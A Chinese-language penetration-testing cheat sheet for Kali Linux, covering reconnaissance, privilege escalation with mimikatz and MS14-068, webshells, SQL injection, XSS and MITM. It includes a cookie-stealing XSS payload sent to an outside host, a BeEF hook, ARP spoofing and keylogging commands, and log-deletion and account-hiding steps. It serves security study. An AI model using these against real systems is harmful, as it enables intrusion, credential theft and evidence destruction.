kali渗透姿式小汇总

编程知识 更新时间:2023-04-28 13:37:18

kali

kali linux介绍

  • 基于Debian的linux发行版本
  • 前身是BackTrack
  • 用于渗透测试和安全审计
  • 包含600+工具
  • FHS标准目录结构
  • 定制内核
    -支持ARM和收集平台
    -开源免费
常用bash命令

ls:查看目录
参数
-l 以长格式输出目录(大小,修改时间等)第一个字符为d表示目录,-表示
文件,c表示字符型设备,l表示表示链接,b表示块设备
-la 显示所有包括隐藏
-lh 以大小显示目录
cd:进入
参数
… 返回上一级目录
pwd:查看工作目录
cat,more,less,tail:查看文件内容
cat全部显示
more查看一条敲回车显示一条
tail默认显示最下方十行即最新的
使用tail时通常会使用
watch -n 2 tail表示每隔2秒钟循环一次刷新出来信息
cp复制
rm:删除
top:监视系统 进入界面按k可以强行停止某进程
ps:查看进程信息
参数:-ef,aux显示更详细的信息
grep/egrep(功能稍微高级):筛选输出内容,用法:在想查看的目录前输入你想看的字符
ifconfig:查看当前网络配置信息
常用:ifconfig eth0 down/up关/开网卡
修改网卡地址 macchanger -m 00::** eth0
netstat:查看网络连接信息
参数:-pantu查看当前计算机和和那些TCP UDP连接
awk:只显示第五列内容 sort route mount dmesg find whereis Echo vi
mount:显示挂载信息
dmesg:查看dmesg信息

管道 “|”
  • 作用:可以让多个命令在同一行的命令里输入

基本工具

NC(NETCAT)
  • 被称为瑞士军刀
功能
  • 侦听模式/传输模式
  • telnet/获取banner信息
  • 传输文本信息
  • 加密传输文件/目录
  • 远程控制木马
  • 加密所有流量
  • 流媒体服务器
  • 远程克隆硬盘
常用参数

-v 显示详细相关信息
作为客户端
-v 显示详细链接相关信息
-n 不DNS解析域名
-l 侦听端口 本地
-p 指定端口号

NC-NCAT
  • 包含于nmap中

  • 加密管道

Wireshark
功能
  • 抓包嗅探协议分析
  • 抓包引擎
    • Libpcap–linux
    • Winpcap–Windows
信息统计
  • 节点数

  • 协议分布

  • 包大小分布

  • 会话连接

  • 解码方式

  • 专家系统

kali渗透测试

测试标准

  • PETS
  • 前期交互
  • 情报收集
  • 威胁建模
  • 漏洞分析
  • 渗透攻击
  • 后渗透攻击
  • 渗透测试报告

渗透测试误区

  • 扫描器就是一切
  • 忽视逻辑漏洞

一、信息收集

先知社区之信息收集一
先知社区之信息收集二

整体目标

IP地址段
域名信息
邮件地址
敏感目录
端口扫描
旁站C段
整站分析
谷歌hacker
URL采集
信息分析

详细目标

域名:子域名、DNS、CDN,
IP:whois、c端、真实

端口:开放的端口服务、服务版本

邮箱:邮箱服务器地址、邮箱系统软件版本、相关漏洞

企业信息:员工信息(手机号码、邮箱、姓名),组织框架、企业法人、企业综合信息

web信息:cms版本,漏洞历史、http方法、

网站客服:QQ、邮箱、电话

网站敏感文件\信息:备份文件、测试文件、久项目文件

网络收集
  • 敏感信息

    html源码:明显的代码,注释
    DS_store(存储文件夹的显示属性如文件显示属性)导致文件泄露
    robots.txt(一个协议,定义了不允许爬行的目录)
    屏蔽:使用/*作为通配符和更改后台名字
    网站备份压缩文件(备份文件放到网站目录下,可直接下载):zip,rar,bak
    vim编辑器备份文件:生成的swp文件
    WEB-INF/web.xml泄露
    github(初始化代码库的时候会寒生一个.git的隐藏文件,使用后可用来恢复源代码):邮箱,QQ,主机等用户名密码
    SVN(开放源代码的版本控制系统 ):未删除的源码程序
    crossdomin.xml

  • 搜索引擎
    zoomeye,shodaw,bing搜索,fofa,谛听,Google,天眼查

  • 在线工具搜索:
    站长工具,站长帮手,爱站,https://phpinfo.me/bing.php

工具收集
  • 端口探测
    nmap
  • dns枚举工具
    nslookup,dig,whois,dnsenum,fierce
  • 目录,文件查询
    dirbuster,Maltego,nikto,御剑
  • 利用搜索引擎工具
    theharvester
  • 子域名爆破工具
    layer子域名检测,dmitry,k8,subDomainsBrute

步骤

被动信息收集
DNS
  • 域名解析成IP地址
  • 域名记录:A(主机记录:域名解析到IP地址上),C name(别名记录:域名解析成另一个域名),NS(域名服务器地址),MX(邮件交换记录)
  • IP解析成域名:ptr
    工具:
    一、 nslookup
  1. set type=a/mx/nx/ptr type=q
  2. nslookup 域名 -type=any/a/mx/ns 指定DNS服务器
    二、 dig
  3. dig 域名 查询类型(any/a/mx/ns)@DNS服务器
    输出结果参数
    +noall 啥都不显示
    +noall +answer 只看answer
    -x 反向查询(ptr)
  4. 查看bind(DNS服务器软件)版本信息
    dig +noall +answer txt chaos VERSION.BIND @DNS服务器
  5. DNS追踪
    +trace 域名
    三、 DNS区域传输:拿到DNS服务器主机记录
    dig @域名服务器 域名 axfr
    host -T(时间) -l(axfr) 域名
    四、 DNS字典爆破
  6. fierce -dnssever 8.8.8.8 -dns sina -wordlist /usr/share/fierce/hosts.txt
搜索引擎

一、SHODAN
搜索互联网的设备
banner:http ftp ssh telnet
常见filter:

  	net: 
  	city: 
  	country:
    port:
    os:"windows 2000"
    Hostname:
    server:

二、google语法
关键字和说明
+/- 包含/不包含该关键字
“” 准确查找引号内的内容
site:指定域名
intext:正文中存在关键字的网页
intitle:标题中存在关键字的网页
info:一些基本信息
inurl:URL存在关键字的网页
filetype:搜索指定文件类型
link🔗baidu即表示返回所有和百度做了链接的URL
cache:搜索GOOGLE里关于某些内容的缓存
注意
Google只能查询出蜘蛛爬行过的网页,蜘蛛遵照网站根目录robots.txt的约定爬行,若不希望一些敏感目录被爬行,则可以写在网站根目录中

  ```

  ```
工具

一、theharvester
一个社会工程学工具,它通过搜索引擎、PGP服务器以及SHODAN数据库收集用户的email,子域名,主机,雇员名,开放端口和banner信息
一般需要翻墙
命令格式
theharvester -d dominname -l limitnumber -b searchengine
二、metagoofil
是一种搜索提取目标公司公开文档(pdf,doc,xls,ppt,docx,pptx,xlsx)中元数据的信息收集工具。
metagoofil -d dominname -l limitnumber -o 下载的位置 -n 下载的数量 -f输出到的文件
三、maltego
强大的社工工具
四、cupp
生成个人密码字典
五、exiftool
查看图片信息
六、recon-ng
全特性的web侦察框架,web信息搜索框架
需要代理

主动信息收集
数据链层发现 arp协议
  • 工具和命令
    1. arping
      -c 发送数量 -d预防arp欺骗
    2. nmap (二层扫描)(很强大的工具)
      nmap -sn 不扫描端口
    3. Netdiscover
      专用于二层发现
      可用无线和交换网络环境
      主动和被动探测
      主动
      netdiscover -i eth0 -r 1.1.1.0/24
      netdiscover -l iplist
      被动
      netdiscover -p(不容易被发现)
    4. Scapy(强大的交互式数据包处理程序)(这里实现二层扫描)
      python库,也可以是工具
      抓包分析创建修改注入网络流量
      sr1()发送请求
IP,ICMP协议
  • 可路由,容易被边界防火墙过滤
    5. ping
    6. ping -R(返回远的接口ip)/ traceroute(返回近的) ps:TTL值了解一下
    7. Scapy
    8. nmap
    -sn 局域网发一个arp包,外网发icmp包
    9. fping类似于ping
    fping -g 起始ip 结束ip
    10. Hping
TCP和UDP 端口扫描
  • 可路由,不容易被过滤
    UDP:ICMP(在路由器和IP主机传递控制信息)端口不可达
    TCP:未经请求的ACK-RST,SYN-SYN/ACK(端口打开则返回)、RST(关闭则返回)
    隐蔽扫描(syn)

    • 不建立完整连接
    • 应用日志不记录扫描行为
      僵尸扫描
    • 可伪造源地址
    • 闲置系统
    • IPID递增
    1. namp (UDP)
    ip -PU/A端口号 -sn(表示不做端口扫描)
    -sU ip UDP端口扫描
    
    1. namp(TCP)
    -sS ip -p port (--open只显示打开的)
    -sT ip -p port默认1000个常用端口
    
    1. namp
    发现僵尸机
    -p port ip --script=ipidseq.nse
    扫描目标
    ip -sl ip -Pn -p port
    
服务扫描
  • 识别开放在端口上的应用

  • 识别目标操作系统

  • 提高攻击效率

    • Banner
      • 软件开发商
      • 名称
    • 服务类型
    • 版本号
      14. nmap
      -sT ip -p port --script=banner
  • service

    1. nmap

    ip -p port -sV 通过指纹特征匹配服务

  • snmp

    • 简单网络管理协议
      • Community strings
      • 信息查询或重新配置
    • firewall
操作系统识别
  • TTL起始值
    • Windows:128(65 - 128)
    • Linux/Unix:64(1-64)
    • 某些Unix:255
      16. nmap
      -O
  • 被动识别
    • IDS
    • 抓包分析
    • p0f
SNMP扫描
  • snmp

    简单网络管理协议,用于IP网络管理网络节点(服务器,路由器,交换机等)属于应用层协议

  • MIB Tree

    • 树形的网络设备管理功能数据库

    • 1.3.6.1.4.1.77.1.2.25

      1. onesixtyone
        ip public
        -c dict.txt -i hosts -o my.log -w 100

      2. snmpwalk
        ip -c public -v snmp版本 如1c,2c,3c

      3. snmpcheck

        -t ip -c 团队名 -v

SMB扫描
  • Sever Message Block通信协议

  • 空会话访问(SMB1)

    • 用户名

    • 密码

    • 用户,组SID

      1. nmap

        -v -p port ip

        ip -p port --script=smb-os-discovery.nse

      2. enum4linux
        -a ip

SMTP扫描
  • 邮件服务器

    1. nmap

      ip -p25 --script=smtp-enum-users.nse --script-args=smtp-enumusers.methods={VRFY}

      smtp.163 -p25 --script=smtp-open-relay.nse

防火墙识别
  • 一般规则

  • 通过检测回包

    1. nmap
      -sA ip -p port
负载均衡扫描
  • DNS和HTTP
    24. lbd
    lbd ip
WAF
  • web应用防火墙

    1. wafw00f

      -l查看能探测的防火墙

    2. nmap

      ip --script=http-waf-detect.nse

二、漏洞和弱点扫描

一般漏洞利用资源
  • 一些网站 如:exploit-db
  • searchsploit
弱点扫描
  • 主动扫描
    • 有无身份验证
  • 被动扫描
    • 镜像端口抓包
    • 其他来源输入
漏洞评估
  • CVSS
  • CVE
  • CCE
  • OVAL
扫描器
Openvas
NESSUS

三、缓冲区溢出

  • 缓冲区边界限制不严格,由于变量传入的畸形数据或程序运行错误,导致缓冲区被撑爆,覆盖相邻内存区的数据
  • 可成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果

四、提权

  • 通过各种办法和漏洞,提高自己在服务器中的权限,以便控制全局
  • Windows:User>>System
  • Linux:>>Root

本地提权

Windows
整体目标:user->Administrator->System

Linux
目标:User->Root

Admin提权为system
  • At
    命令安排在特定的日期和时间能运行命令和程序,计划服务必须已在运行中

    以此shell启动的都是system权限

    关掉explorer进程(桌面环境)
    再新建一个explorer进程

    当前用户变为了system

    • sc
      创建一个系统服务
  • SysInternal Suite
    一套windows命令行工具
    下载地址
    我们选则里面的PsExec,将它复制到C盘里windows的system32里面

    看到它以system权限启动了一个cmd

注入进程提权
  • pinjector
    下载地址(翻墙)
    同样放到system32或者C盘下
    常用参数和方法

    查看可注入进程

    尝试注入services.exe

    以5555端口开放,当连接这个端口时,会将进程发过去
    如以kali连接

抓包嗅探

获得更多的账号和密码
使用各种抓包工具
如whireshark,sniffpass(windows),dsniff(linux)

键盘记录
  • DarkCometRAT
    强大的远程控制器
    先生成一个服务端

    (将它发送给目标机器执行后会反弹回连)
    启动侦听

    然后把生成的程序放到目标系统去

    成功连接
    接下来看看能执行什么操作
    捕获远程桌面

    键盘记录

本地缓存密码
  • 浏览器缓存密码
  • 网络密码(凭据管理器)
  • 无线密码(查看连接属性)
    一个集成许多工具的网站
  • PwDump
    从SAM文件中读取信息
Windows身份认证

链接

WCE(WINDOWS CREDENTIAL EDITOR)

windows平台下强大的内网渗透工具
从内存中读取信息
位于kali的 /usr/share/wce里面

  • wce-universal -l(v)
    显示当前已经登录的账号(详细)
    为便于显示,添加a和b两个账号,并登录

  • wce-universal -d LUID
    指定一个LUID删除掉session
    例如删除b账号

    已成功删除

  • wce-universal -g data
    生成LM和NT的hash

  • wce-universal -w
    从digest中读取明文的密码

防止wce攻击

进入注册表。删除wdigest
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages

删除wdigest,整行删除

其他工具
  • fgdump
    kali路径 /usr/share/windows-binaries
    双击fgdump即可查看

  • mimikatz
    功能很强大
    kali路径 /usr/share/

    ::查看可执行操作

windows漏洞提权

Ms11-080

出现于xp和2003的特权提升漏洞
利用代码

Ms14-068

域管理权限获取
实验演示

  • 环境搭建
    首先搭建域控制器(必须是sever型)这里选用2003

    安装域控制器

    暂时关掉windows的防火墙

    配置windows的网络IP

    将windows加入域

    2003启动域管理器

    新建一个用户,并设置一个较复杂的密码

    xp登录到域

    域控制器需要初始化
    至此,实验环境搭建完毕

过程

先去kali里找利用的脚本
searchsploit ms14-068
执行脚本获取票据
格式
ms14-068.py -u user@lab -s userSID -d dc.lab

切换xp为本地管理员账号
拷贝 TGT_user1@labache 到windows中的mimikazi里
本地管理员登陆
mimikatz.exe log “kerberos::ptc TGT_user@labache” exit
由于发现一直报错,尝试各种方法均不能是脚本正常运行,查询资料发现xp不能用
于是我们换window7试一下
把win7加入域

新建一个用户账号user1
生成票据文件,操作和上面一样
注入命令

可以看见成功了

利用配置不当提权

安装程序以system权限启动,NTFS权限允许users修改删除

应用系统的配置文件
  • 应用连接数据库的配置文件
  • 后台服务运行账号

提权后基本信息收集

Linux
  • /etc/resolv.conf
  • /etc/passwd 所有用户账号
  • /etc/shadow 账号密码
  • whoami and who –a
  • ifconfig -a, iptables -L -n 查看防火墙, netstat –rn 查看路由设置
  • uname –a 查看操作系统版本, ps aux
  • dpkg -l| head
Windows
  • ipconfig /all , ipconfig /displaydns, netstat -bnao , netstat –r
  • net view , net view /domain 网络共享
  • net user /domain, net user %username% /domain
  • net accounts, net share
  • net localgroup administrators username /add
  • net group “Domain Controllers” /domain
  • net share name$=C:\ /unlimited
  • net user username /active:yes /domain
WMIC
  • wmic nicconfig get ipaddress,macaddress
  • wmic computersystemget username
  • wmic netlogin get name,lastlogon
  • wmic process get caption, executablepath,commandline
  • wmic process where name=“calc.exe" call terminate
  • wmic os get name,servicepackmajorversion
  • wmic product get name,version
  • wmic product where name=“name” call uninstall /nointeractive
  • wmic share get /ALL
  • wmic /node:“machinename” path Win32_TerminalServiceSetting where AllowTSConnections=“0” call SetAllowTSConnections"1“
  • wmic nteventlogget path,filename, writeable

收集敏感数据

Linux
  • /etc ;/usr/local/etc
  • /etc/password ;/etc/shadow
  • .ssh ;.gnupg 公私钥
  • The e-mail and data files
  • 业务数据库 ;身份认证服务器数据库
  • /tmp
windows
  • SAM 数据库 ; 注册表文件
  • %SYSTEMROOT%\repair\SAM
  • %SYSTEMROOT%\System32\config\RegBack\SAM
  • 业务数据库 ; 身份认证数据库
  • 临时文件目录
  • UserProfile\AppData\Local\Microsoft\Windows\Temporary Internet Files\
隐藏痕迹
  • 禁止在登陆界面显示新建账号
  • REG ADD “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
    NT\CurrentVersion\WinLogon\SpecialAccounts\UserList” /v uname /T
    REG_DWORD /D 0
  • del %WINDIR%*.log /a/s/q/f
  • History
  • 日志
  • auth.log / secure
  • btmp / wtmp
  • lastlog / faillog
  • 其他日志和 HIDS 等

五、Web渗透

信息收集

Httrack
  • 减少与目标系统的交互,降低被发现的概率
  • 复制目标的镜像
Web扫描工具
Nikto
  • 基本命令
    -host + URL
    -host ip -port
    -host host.txt
    nmap -p80 192.168.1.0/24 -oG - | nikto -host - 混合nmap使用
    nikto -host 192.168.1.1 -useproxy 代理

  • Nikto-interactive
    Space – report current scan status
    v – verbose mode on/off
    d – debug mode on/off
    e – error reporting on/off
    p – progress reporting on/off
    r – redirect display on/off
    c – cookie display on/off
    a – auth display on/off
    q – quit
    N – next host
    P - Pause

  • 配置文件
    可修改
    /etc/nikto.conf
    STATIC-COOKIE=“cookie1”=“cookie value”;“cookie2”="cookie valu”
    -evasion: IDS逃避技术
    1 随机URL编码
    2 自选路径
    3 过早结束的URL
    4 优先考虑随机长字符串
    5 参数欺骗
    6 使用TAB作为命令的分隔符
    7 变化URL
    使用windows分隔符

skipfish
  • 基本命令
    -o test1 http://192.168.95.129/dvwa
    -o test1 @url.txt 扫描多个
    -o test -S complet.wl通过字典扫描

-I:只检查包含’string’的URL
-X:不检查包含’string’的URL
-K:不对指定参数进行Fuzz测试
-D:跨站点爬另一个域
-l:每秒最大请求数
-m:每IP最大并发连接数
–config:指定配置文件
有时候扫描结束得太快,则是触发了目标站点的连接数限制,降低-m,-l数值

  • 身份认证
    skipfish -A user:pass -o test http://1.1.1.1
    skipfish -C “name=val” -o test http://1.1.1.1
w3af
  • plugin 几大插件类型
    audit 漏洞板块
    infrastructure 基础架构(websever,waf等)
    grep 被动探测
    evasion 逃避检测
    mangle 基于正则表达式的替换
    auth 身份认证(如基于表单)
    bruteforce 暴力破解
    output 导出,由其他插件调用
    crawl 如spider
    attack 攻击

  • 安装
    参考链接1
    参考二
    安装完成启动

OWASP-ZAP

主要功能

  • 代理
  • 扫描(主被动)
  • fuzz
  • API

基础漏洞挖掘

靶场:DVWA

  • 弱口令
  • sessionid
  • 变量
命令执行
  • web应用程序直接调用操作系统功能
  • linux下可利用的命令连接符
    ; && | || &
目录遍历和文件包含

应用程序功能操作文件,限制不严导致访问web目录以外的文件

  • 远程文件包含设置
    /etc/php5/cgi/php.ini
    allow_url_include = on
  • 特征
    ?page=a.php
    ?home=b.html
    ?file=content
典型测试方法(利用姿势)

?file=../../../../etc/passwd
…/是返回上一级目录
?page=file:///etc/passwd
文件系统
?home=main.cgi
?page=http://www.a/1.php
可上传木马
http://1.1.1.1/../../../../dir/file.txt

基本绕过
  1. . %00
  2. 编码
  3. 双写
php伪协议

开启远程文件包含

  1. ?file=php://input
    php://input 可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。
  2. php://filter
    用于任意文件读取
    ?file=php://filter/read=convert.base64-encode/resource=index.php
    通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行
可能存在包含的地方

访问日志
ssh-log
cookie

防御方法

升级最新版软件:IIS,Apache等

参数过滤危险字符

php 配置open_basedir限制打开的文件

配置好文件权限,以最小权限为准

文件上传

服务器解析漏洞每个版本不同

绕过姿势

客户端
修改JS代码
服务端

  • 文件后缀
    常用:jpg:jspx,jspf asp:asa,cer aspx php:php3 php4 phtml pht exe:exee
  • 文件类型content-type
  • 文件头
    在文件内容头部分加入其它字符来妨碍检测
  • 截断
    %00,0x00,/00
防御方法

白名单

上传文件重命名,利用随机数改写

路径验证,设置上传的路径为的权限为不可执行

隐藏上传路径

校验文件内容

SQL injection
基于MYSQL

基础语法

查看库 show databases
创建库 create database dbname
进入库 use database dbname
删除库 drop database dbname
创建表 create table tbname
查看表 show tables
删除表 drop table tbname
查看表数据  select * from tbname
插入 insert into tbname(culomn_name) value()
修改 update tbname set culomn_name = '修改后的' where 定位
删除数据 delete from tbname where 定位

必备知识

用户名 user()
版本 version()
数据库名 database()
数据库路径 @@datadir
安装路径 @@basedir
操作系统 @@version_complie_os
必须记住的表名 
一个数据库 information_schema
三个表
schemata:schema_name
tables:table_schema, table_name
columns:table_schema, table_name, column_name
判断方式

字符报错 一般是单引号,双引号,括号
1’and’1’=‘1 正确
1’and’1’='2 错误
order by 判断可注入的字段数

注入方式

union联合注入
例:id=1’union select 1,group_concat(schema_name) from infomation_schema.schemata–+ limit 0,1
盲注
几个函数
length()
mid(字段,长度)
substr(字段,开始位置,长度)
left(字段,长度)
ord()
ascii()
返回ASCII码
floor()
select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a floor(rand(0)*2)) a from information_schema.columns group by a;
函数解析
exp():select exp(~(select*from(select user())x))
updatexml():updatexml(anything,concat(0x7e,(SQL语句),0x7e),anything)
extractvalue():extractvalue(anything,concat(0x7e,(SQL语句),0x7e)))
name_const():select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a

时间盲注
benchmark(次数,要执行的表达式):benchmark(100000,md5(1))
sleep()

堆叠
宽字节
过滤单引号 id=1%df'

导入导出文件
Select ***(可以为其他文件,如一句话) into outfile "C:\\***\\***"

HTTP头注入

防御方法

使用预编译语句绑定变量

使用存储过程,尽量避免使用动态的sql语句

使用严格的数据类型

使用一些安全的函数,参考OWASP ESAPI

主要还是过滤危险字符

XSS

过滤不严,向网页中注入恶意代码(通常是js)
假如,你输入的内容原封不动的被返回了,那么就很有可能有xss

常见POC
<script>alert(‘xss’)</script>
 <a href='' onclick=alert('xss')>type</a>
 <img src=http://1.1.1.1/a.ipg onerror=alert('xss')>
 <script>window.location=‘http://1.1.1.1'</script>
 <iframe SRC="http://1.1.1.1/victim" height = "0" width ="0"></iframe>
 <script>new Image().src="http://1.1.1.1/c.php?
output="+document.cookie;</script>
 <script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS
WEBSITE IS UNDER ATTACK</h1></div>";</script>
构造方式
  1. 利用html<>
  2. 标签属性值 空格 转码ASCII绕过
    <table background="javascript:alert(/xss/)">
    src href lowsrc bgsound value action 等等
  3. 事件
    onerror
    onclick
    onSeek
    onstop
    等等
    
  4. CSS 跨站
    style
    link
    @import
  5. 扰乱过滤规则
    大小写
    单引号
    不同全角字符
    <img/src="javascript:alert('XSS');"> `<div style="wid/****/th:expre/*XSS*/ssion(alert('XSS')):"}>`
    \ \0结束符
  6. 字符编码
    十进制,十六进制编码,unicode,escapes
    eval函数计算字符串,并执行其中js代码
  7. 拆分
    对字符输入长度有限制,可多个地点连接
工具xsser

拆分url :-u “URL” -g"含有xss的页面"(get方法)-p""(post方法)
如:
xsser -u "http://192.168.95.129/dvwa/vulnerabilities/" -g"xss_r/?name=1#"
–heuristic 检查被过滤字符
–reverse-check 建立反向连接
编码
–Str Use method String.FromCharCode()
–Une Use Unescape() function
–Mix Mix String.FromCharCode() and Unescape()
–Dec Use Decimal encoding
–Hex Use Hexadecimal encoding
–Hes Use Hexadecimal encoding, with semicolons
–Dwo Encode vectors IP addresses in DWORD
–Doo Encode vectors IP addresses in Octal
–Cem=CEM Try -manually- different Character Encoding Mutations
(reverse obfuscation: good) -> (ex: ‘Mix,Une,Str,Hex’)
注入
–Coo Cross Site Scripting Cookie injection
–Xsa Cross Site Agent Scripting
–Xsr Cross Site Referer Scripting
–Dcp Data Control Protocol injections
–Dom Document Object Model injections
–Ind HTTP Response Splitting Induced code
–Anchor Use Anchor Stealth payloader (DOM shadows!)
–Phpids PHP - Exploit PHPIDS bug (0.6.5) to bypass filters
–Doss XSS Denial of service (server) injection
–Dos XSS Denial of service (client) injection
–B64 Base64 code encoding in META tag (rfc2397)
–Onm ONM - Use onMouseMove() event to inject code
–Ifr Use <iframe> source tag to inject code

BEFF

浏览器攻击框架
<script src='http://IP(运行beef主机的IP):3000/hook.js'></script>插入存在xss漏洞的表单中
常见用途:
键盘记录
网络扫描
结合msf等

防御方法

浏览器:http-only

严格过滤输入和输出字符串

HtmlEncode等各种安全编码函数

CSRF

跨站请求伪造
成因:csrf漏洞的成因就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号等)
也就是说要攻击你,就得能构造出正确的URL来引诱你点击

防御方法

验证码

Referer Check

随机token

webshell工具
WeBaCoo

内容通过cookie传输
cm base64编码
cn 服务器用于返回数据的cookie头名
cp 返回信息定界符
生成服务端:webacoo -g -o a.php
-g 生成服务端代码
-f 执行一些php函数
-o 生成的后门输出文件名
连接客户端:webacoo -t -u http://1.1.1.1/a.php
-t 建立终端
-u backdoorurl
其他:
-e CMD Single command execution mode (-t and -u are required)
-m METHOD HTTP method to be used (default is GET)
-c C_NAME Cookie name (default: “M-cookie”)
-d DELIM Delimiter (default: New random for each request)
-a AGENT HTTP header user-agent (default exist)
-p PROXY Use proxy (tor, ip:port or user:pass:ip:port)
-v LEVEL Verbose level
LEVEL
0: no additional info (default)
1: print HTTP headers
2: print HTTP headers + data
-l LOG Log activity to file
-h Display help and exit
update Check for updates and apply if any

weevely

PHP webshell
管理模块多
支持连接密码
生成服务端:weevely generate <pass> wee.php
连接:weevely http://1.1.1.1/wee.php <pass>id
连接后可输入help来查看模块

HTTPS攻击

攻击方法
降级
解密
协议漏洞,实现方法的漏洞,配置不严格

查看加密方法
  • Openssl
    调用openssl库识别目标服务器的加密协议
    openssl s_client connect www.xxx:443
  • SSlscan
    自动识别
    绿色安全
    SSlscan --tlsall www.xxx:443
    分析证书详细数据
    sslscan --show-certificate --no-ciphersuites www.xxx:443
  • sslyze
    sslyze --regular www.xxx:443
  • Nmap
    nmap --script=ssl-enum-ciphers.nse www.xxx:443
SSL中间人攻击

大致方向

  1. ARP
  2. DHCP
  3. 修改网关, DNS,HOST
  4. ICMP, STP, OSPF
    攻击前提
  5. 客户端信任伪造整数
  6. 控制颁发证书机构
  7. 客户端禁止证书错误告警信息
  8. 已控制客户端
工具
  • SSLsplit
    对客户端伪装成服务端,对服务端伪装成客户端
    步骤
  1. 利用openssl生成证书密钥
    openssl genrsa -out ca.key 2048
    利用私钥签名生成证书
    openssl req -new -x509 -days 1096 -key ca.key -out ca.crt

  2. 由于要转发流量,需要开启路由
    启动路由
    sysctl -w net.ipv4.ip_forward=1
    设置端口转发规则,将客户端发送到中间人443端口的流量转发给sslsplit的端口,由它调用根证书伪造一个网站证书
    查看规则
    iptables -L
    iptables -t nat -L 指定表
    iptables -t -F清空规则
    添加第一条规则
    在路由之前指定,所有用tcp协议发往80端口的全部重定向到8080端口
    iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
    同理
    iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
    iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 #MSA(邮件提交代理)
    iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 #SMTPS
    iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 #IMAPS
    iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 #POP3S
    Iptables -t nat -L

  3. Arp欺骗
    arpspoof -i eth0 -t 受害目标 -r 网关

  4. 启动SSLsplit
    mkdir -p test/logdir
    创建一个目录存放文件
    sslsplit -D -l connect.log -j /root/test -S root/test/logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
    -D debug看详细信息
    连接信息connect.log
    -j 改变root
    -S 把请求信息放在该目录

  • Mitmproxy
    arp欺骗
    仅支持8080端口
    mitmproxy -T --host -w mitmproxy.log
  • SSLstrip
    将客户端到中间人之间的流量变为明文
    arp欺骗
    sslsrtip -l 8080
SSL/TLS DDOS

利用SSL secure Renegotiation特性。在单一TCP连接中生成数千SSL重连接请求
工具

  • thc-ssl-dos
    命令:thc-ssl-dos ip 端口 --accept

对策:禁用SSL-Renegotiation SSL Accelerator

http://www.ha97/4009.html)

密码嗅探

知识预备:

  1. 二,三层地址数据包发送关系
    IP 网络到网络
    MAC 主机到主机
  2. 交换机和HUB(集线器)
    – HUB全端口转发
    – 交换机根据学习地址转发
    – 混杂模式抓包
  3. ARP协议
    免费ARP
    基于广播学习
    以太网头、ARP头
    请求、响应相对独立
    基于传闻的协议

ARP地址欺骗

实验演示
被欺骗者windows7

欺骗者kali

工具
arpspoof

语法
arpspoof -t 被欺骗者 -r 网关
攻击前

攻击后

可看到mac地址已经变化
目前只是实现win7将发给网关的包发给kali,然后网关也将发给win7的包发给kali
然后为了实现转发包,我们开启kali的路由
echo 1 > /proc/sys/net/ipv4/ip_forward
然后在kali里抓包即可

driftnet

可还原抓数据包传输的图片
driftnet -i eth0 实时监控

driftnet -i eth0 -a -d tempdir -s
-d指定目录 -a辅助模式 不实时显示 把抓到的文件放入一个目录 -s抓取声音文件,仅mpeg格式

webspy

爬取web请求
webspy -i eth0 被欺骗ip

urlsnarf

截获,并解析指定端口的地址
urlsnarf -i eth0

dsniff

dsniff -i eth0 -m(启用自动协议检测)
截取账户和密码,支持部分协议
支持破解的协议
/usr/lib/x86_64-linux-gnu/dsniff.services

效果图

dnsspoof

dns欺骗
dnsspoof -i eth0 -f /usr/lib/x86_64-linux-gnu/dnsspoof.hosts

DNS欺骗

工具
dnschef

前提是能改到被欺骗者的DNS服务器
常用命令格式
dnschef --fakeip=要解析到的ip --fakedomains=www.google,www.youtube --interface 要监听的网卡ip -q(安静)

中间人攻击

工具
Mitmf

安装
分割线一下,这里坑死了好久!
先列出几个有关kali的问题

  1. 更新源
    2019更新源
  2. vmwaretools失效
    2018后的kali不支持vmtools,需要卸载原版vmtools,重新安装open-vm-tools
    卸载vmtoolsvmware-uninstall-tools.pl
    安装openapt-get install open-vm-tools-desktop fuse
    安装完重启
    如果出现虚拟机能给物理机复制,而物理机不能给虚拟机复制,没错!就是我遭遇的,找遍全网!找到了解救办法
    /usr/bin/vmware-user
  3. pip问题
    升级pip
    一般升级python -m pip install --upgrade pip
    失败再尝试python -m pip install -U --force-reinstall pip
    pip安装其他包
    建议翻墙,贼快!

好吧回归正题
这个安装时有问题的,更新源里好像已经没有mitmf这个东西了,那么怎么办呢?去github里面找
mitmf安装

开始使用

  1. 注入xss脚本
  • 启动beef
    cd /usr/share/beef-xss/
    ./beef
python mitmf.py --spoof --arp -i eth0 --gateway 192.168.95.2 --target 192.168.95.137 --inject --js-url http://192.168.95.157:3000/hook.js

可看到成功注入脚本

  1. 一些插件
    键盘记录
python mitmf.py --spoof --arp -i eth0 --gateway 192.168.95.1 --target
192.168.95.137 --jskeylogger

图片颠倒
–upsidedownternet
屏幕拍照
–screen(/MITMF/log/)每10秒记录一次
效果如下

–ferretng(cookie)
会记录在日志中
–browserprofiler(浏览器及插件信息)
–smbtrap、–smbauth smb抓取
–hsts 绕过hsts协议
–filepwn 插入后门

Ettercap

转发MAC与本机相同,但IP与本机不同的数据包
snifer
负责数据包转发

模式
1.Unified
单网卡情况下独立完成三层包转发
始终禁用内核IP_Forward功能
2.Bridge
双网卡情况下的一层MITM模式
可作为IPS过滤数据包
不可在网关上使用(透明网桥)

攻击方法

MITM(中间人攻击)
